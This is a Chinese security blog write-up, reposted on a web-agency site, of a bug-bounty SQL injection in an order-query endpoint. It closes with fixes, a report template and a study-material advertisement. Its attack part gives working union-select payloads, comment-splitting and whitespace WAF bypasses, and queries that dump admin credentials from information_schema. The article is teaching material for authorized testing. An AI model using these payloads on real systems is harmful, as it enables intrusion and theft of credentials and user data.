ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

一次高危 SQL 注入挖掘全过程,附完整 Payload 与绕过思路

一次高危 SQL 注入挖掘全过程,附完整 Payload 与绕过思路 一次高危 SQL 注入挖掘全过程附完整 Payload 与绕过思路摘要本文完整记录一次 SRC 高危 SQL 注入漏洞实战挖掘全流程从前期信息收集、接口发现、注入点探测、闭合方式判断、WAF 拦截分析、多种绕过手段测试到库表读取、漏洞验证、风险评估最后附上 SRC 漏洞报告撰写要点与修复方案。文中提供全套可复现 Payload同时梳理 SQL 注入挖洞的通用思路帮助新手白帽减少误报、学会 WAF 绕过。本文所有操作均在厂商授权测试范围内完成严禁对任何未授权系统进行扫描、注入、数据读取等渗透行为违规操作将承担对应的法律责任。免责声明本文所展示 Payload、攻击思路仅用于网络安全学习、靶场练习与授权范围内的安全测试。未经目标系统所有者书面授权禁止扫描、渗透、读取任何网站数据。由此产生的一切法律责任由操作人自行承担。0x00 前言很多新手白帽挖 SQL 注入有一个误区直接拿着一堆 Payload 批量跑扫到报错就直接提交漏洞报告结果大量误报被驳回。真正实战挖洞讲究循序渐进先观察业务逻辑再试探参数行为遇到 WAF 拦截不能死磕单一 Payload要多尝试不同绕过思路。本次遇到的目标是企业业务子站主站安全防护做得相对完善常规扫描很难找到突破口。在对子域名、后台接口、遗留页面做信息收集的时候发现这个订单查询接口GET 参数直接带入数据库查询存在典型 SQL 注入风险。这也是很多企业最容易忽略的地方只重视主站防护忽视各类业务子系统、内部查询接口。0x01 信息收集发现可疑业务接口日常 SRC 挖洞子域名扫描是信息收集的核心环节之一。使用子域名探测工具批量收集目标资产过滤掉静态资源站、文档站之后重点筛选带参数的动态业务接口。本次发现接口地址shturl.cc/RMjRmhmvgPXfOljRy1I6FawDdxUBjwwgL7LPs0s访问接口直接返回 JSON 格式订单数据字段包含订单号、创建时间、状态、客户编号等信息。接口功能前端传入 orderId后端根据订单 ID 查询单条订单记录返回给前端。初步观察特征GET 请求参数 orderId 直接拼接在 URL 中参数可控用户可以任意修改 orderId 的值返回结构化 JSON没有复杂页面渲染方便观察注入后的返回结果没有对参数进行严格过滤修改参数后页面会发生变化。猜想后端原始 SQL 语句SELECT id,order_no,create_time,status FROM order_table WHERE orderId 10086;这里开发直接把前端传入的 orderId 拼接到 SQL 语句没有使用预编译一旦没有做好输入过滤极易产生 SQL 注入。挖洞小技巧优先观察查询类接口查询订单、用户信息、商品详情这类接口最容易出现 SQL 注入。提交、修改类接口更多出现逻辑漏洞。0x02 初步探测确认注入存在与闭合方式拿到可疑接口之后不要直接上 union select第一步先测试参数是否存在注入。2.1 单引号测试修改 URL 参数增加单引号用来破坏原有 SQL 语法shturl.cc/RMjRmhmvgPXfOljRy1I6FawDdxUBjwwgL7LPs0s访问接口页面直接抛出 MySQL 数据库语法错误堆栈信息暴露数据库版本、表名路径。重点标记生产环境开启详细数据库报错属于高危配置缺陷攻击者可以利用报错快速获取数据库结构信息。单引号直接触发语法报错说明参数没有做转义后端直接把单引号带入 SQL 执行。2.2 逻辑真假测试确认可控测试 Payload1逻辑真orderId10086 and 11接口正常返回订单数据和原始请求结果一致。测试 Payload2逻辑假orderId10086 and 12接口返回空 JSON无订单数据。两次请求返回结果明显不同说明我们输入的逻辑表达式被后端数据库执行确认单引号闭合字符型注入。区分数字型和字符型注入小技巧数字型注入不需要单引号字符型注入需要单引号闭合原有 SQL 语句字符串。2.3 Order by 判断查询字段数量联合查询注入必须知道 select 查询返回多少列否则 union 语句语法报错。依次尝试orderId10086 order by 1-- orderId10086 order by 2-- orderId10086 order by 3-- orderId10086 order by 4--order by 1/2/3正常返回order by 4直接数据库报错。结论查询语句返回3 个字段。2.4 Union Select 基础测试构造 union 查询 PayloadorderId10086 union select 1,2,3--发送请求直接 403 ForbiddenWAF 拦截。可以看到 WAF 识别union select关键字直接阻断请求。这也是本次注入最大难点需要寻找 WAF 绕过方案。0x03 WAF 拦截分析与多方案绕过测试目标 WAF 属于中小型商用 WAF基于关键字正则匹配没有深度 SQL 语法解析。只要检测到union、select、and等关键词就触发拦截。下面依次测试多种绕过方案记录成功与失败案例。方案 1大小写变形绕过失败PayloadorderId10086 UNIon sElEcT 1,2,3--原理MySQL 关键字大小写不敏感试图打乱大小写规避正则。测试结果WAF 新版规则识别大小写变形依旧 403 拦截。方案 2关键字内联注释分割成功PayloadorderId10086 union/**/select 1,2,3--原理/**/是 MySQL 注释符号WAF 正则匹配连续字符串union select在中间插入注释打断连续关键词。数据库执行 SQL 时会直接忽略注释里面内容最终执行语句等价于union select。发送 Payload成功绕过 WAF。接口返回 JSON 中出现数字2确定第二个字段为回显位可以用来输出查询数据。拓展除了/**/还可以使用/*!50001*/MySQL 特有注释在高版本 MySQL 同样可以执行作为备选 Payload。备选 PayloadorderId10086 union/*!50001*/select 1,2,3--方案 3空白字符替换备选绕过如果注释被拦截可以替换空格使用%09tab、%0a换行符替代空格。示例 PayloadorderId10086 union%09select 1,2,3--注意部分 WAF 会拦截 url 编码字符作为备用方案。方案 4编码绕过本次未使用双重 URL 编码、Unicode 编码适合一些老旧 WAF但是现在大部分 WAF 会自动解码再检测成功率较低一般放在最后测试。0x04 分步 Payload 读取数据库信息确定回显位之后分步读取数据库信息循序渐进不要一次性查询大量数据防止触发 WAF 高频拦截。4.1 查询当前数据库名PayloadorderId10086 union/**/select 1,database(),3--接口回显数据库名称business_db4.2 查询当前库下所有数据表PayloadorderId10086 union/**/select 1,group_concat(table_name),3 from information_schema.tables where table_schemabusiness_db--返回所有表名称其中发现敏感表user_info、admin_account、operation_log。admin_account明显为管理员账号表存在高危敏感数据。group_concat 作用把多行结果拼接成一行返回适合 union 注入单行回显场景。缺点数据过长会截断表数量多的时候可以使用 limit 分页读取。分页读取表名备选 PayloadorderId10086 union/**/select 1,table_name,3 from information_schema.tables where table_schemabusiness_db limit 0,1--4.3 查询 admin_account 表字段信息PayloadorderId10086 union/**/select 1,group_concat(column_name),3 from information_schema.columns where table_nameadmin_account--返回字段列表id,username,password,phone,create_at。包含管理员账号、密码、手机号属于极高敏感数据。4.4 读取管理员账号与密码PayloadorderId10086 union/**/select 1,group_concat(username,0x7c,password),3 from admin_account--0x7c 是|十六进制字符用来分隔账号密码方便区分每组数据。接口成功返回管理员账号和 MD5 加密密码拿到加密哈希值可在彩虹表解密。4.5 读取普通用户信息可选orderId10086 union/**/select 1,group_concat(username,0x7c,phone),3 from user_info limit 0,5--实战挖洞注意不要导出大量真实用户数据验证漏洞存在即可。提交 SRC 报告只保留证明注入能力的截图不批量拉取完整用户库保护用户隐私也避免厂商投诉。0x05 漏洞深度分析5.1 漏洞成因未使用参数化预编译 SQL直接将前端传入 orderId 拼入 SQL 语句是 SQL 注入最根本原因生产环境开启详细数据库错误堆栈泄露数据库结构、路径信息极大方便攻击者探测输入校验缺失orderId 业务上只允许纯数字后端没有做白名单校验直接接收单引号等特殊字符WAF 防护薄弱仅基于简单关键字正则匹配无法识别注释分割后的 SQL 语句数据库业务账号权限过高业务账号可以访问information_schema系统库攻击者能够查询库表结构。5.2 漏洞影响等级高危攻击者成功利用该漏洞可以查询数据库全部表结构获取管理员账号密码、手机号等敏感信息读取业务订单、用户隐私数据如果数据库账号权限更高可尝试写入文件拿到服务器 Webshell控制服务器。0x06 漏洞修复方案可直接给到开发 / 运维核心修复使用预编译语句参数化查询 PreparedStatementJava、PHP、Python 等语言均支持预编译用户输入作为参数传入不会参与 SQL 语句解析从根源杜绝 SQL 注入。这是防御 SQL 注入首选方案WAF 只能作为辅助。输入白名单校验orderId 业务场景只能是数字后端增加校验非数字输入直接拒绝返回自定义错误不再进入数据库查询逻辑。关闭生产环境详细报错统一自定义错误页面禁止抛出原始 MySQL 错误堆栈避免泄露数据库信息。数据库最小权限原则业务数据库账号只分配业务表读写权限禁止访问 information_schema、mysql 系统库。即使发生注入也无法查询库表结构。优化 WAF 策略增加 SQL 语法语义检测不只是简单关键字匹配添加异常请求频率限制拦截短时间大量 Payload 探测行为。代码审计与安全测试上线前对接口做安全测试重点排查查询类接口定期代码审计排查字符串拼接 SQL 的写法。0x07 SRC 漏洞报告撰写与提交经验很多新手挖到漏洞但是报告写得很差被厂商驳回。本次高危漏洞报告结构可以直接复用。漏洞报告模板漏洞标题高危 - 某子站订单查询接口存在 SQL 注入漏洞漏洞 URL填写接口地址漏洞参数orderId漏洞等级高危漏洞描述简要描述漏洞原理和危害不要过长复现步骤① 访问接口传入带单引号参数触发数据库报错② 使用 and 逻辑测试证明参数可执行 SQL③ 构造 union 注入 Payload绕过 WAF 读取数据库名④ 查询管理员账号表成功读取管理员凭证。Payload 清单附上本次使用 Payload证据截图重要截图不要放大量用户明文隐私数据只证明注入生效。报错截图真假逻辑返回对比截图成功读取数据库名截图读取管理员表截图修复建议把上面修复方案粘贴进去。提交注意事项不要批量导出完整数据库数据SRC 只需要证明漏洞存在不要修改、删除目标数据只读测试测试完成后停止注入操作不要持续扫描提交漏洞后等待厂商确认不对外泄露目标资产信息。0x08 挖洞踩坑复盘与学习思考不要依赖自动化扫描器。扫描器只能发现基础注入点WAF 绕过思路需要人工测试。很多扫描器 Payload 直接被 WAF 拦截扫不出漏洞遇到 WAF 不要直接放弃由简单到复杂依次测试绕过方案优先尝试注释分割、空白替换分清真假注入有些页面返回内容变化只是前端页面渲染问题并不是 SQL 语句执行盲目提交会产生大量误报防御层面WAF 永远是锦上添花代码层预编译才是根治 SQL 注入的核心。很多企业认为部署 WAF 就可以高枕无忧这是巨大误区。WAF 很容易被各种技巧绕过。资产测绘优先关注子域名和辅助业务接口主站防护强附属业务接口往往是薄弱突破口。0x09 拓展学习SQL 注入其他类型本次案例属于 GET 型联合查询注入SQL 注入还有其他类型后续可以继续学习POST 表单注入报错注入不能回显 union 场景布尔盲注没有数据回显依靠页面真假判断时间盲注页面无任何变化依靠 sleep 延时判断堆叠查询注入HTTP 头部注入Cookie、Referer、User-Agent 注入最后关于网络安全技术储备学好网络安全不论是就业还是做副业赚钱都不错但要学会网络安全还是要有一个学习规划。最后大家分享一份全套的网络安全学习资料给那些想学习网络安全的小伙伴们一点帮助对于0基础小白入门如果你是零基础小白想快速入门网络安全是可以考虑的。一方面是学习时间相对较短学习内容更全面更集中。二方面是可以找到适合自己的学习方案包括网安成长学习路线图、SRC黑客文档、护网行动、黑客必读书单、面试题、学习视频等教程。带你从零基础系统性的学好网络安全需要的可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】1.成长路线图学习规划要学习一门新的技术作为新手一定要先学习成长路线图方向不对努力白费。对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图学习规划。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。2.网安入门到进阶视频教程很多朋友都不喜欢晦涩的文字我也为大家准备了视频教程其中一共有21个章节每个章节都是当前板块的精华浓缩。全套教程文末领取哈3.SRC黑客文档大家最喜欢也是最关心的SRC技术文籍黑客技术也有收录SRC技术文籍黑客资料由于是敏感资源这里不能直接展示哦全套教程文末领取哈4.护网行动资料其中关于HW护网行动也准备了对应的资料这些内容可相当于比赛的金手指5.黑客必读书单随着互联网技术的飞速发展网络安全已经成为了当今科技领域的一大热点。这些SQL注入、CCNA、Web渗透、Linux服务器等以其强大的语言理解和防御能力正在守护着我们网络世界。 那以下这些PDF籍就是非常不错的学习资源。6.网络安全岗面试题合集当你自学到这里你就要开始思考找工作的事情了而工作绕不开的就是真题和面试题。这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
返回列表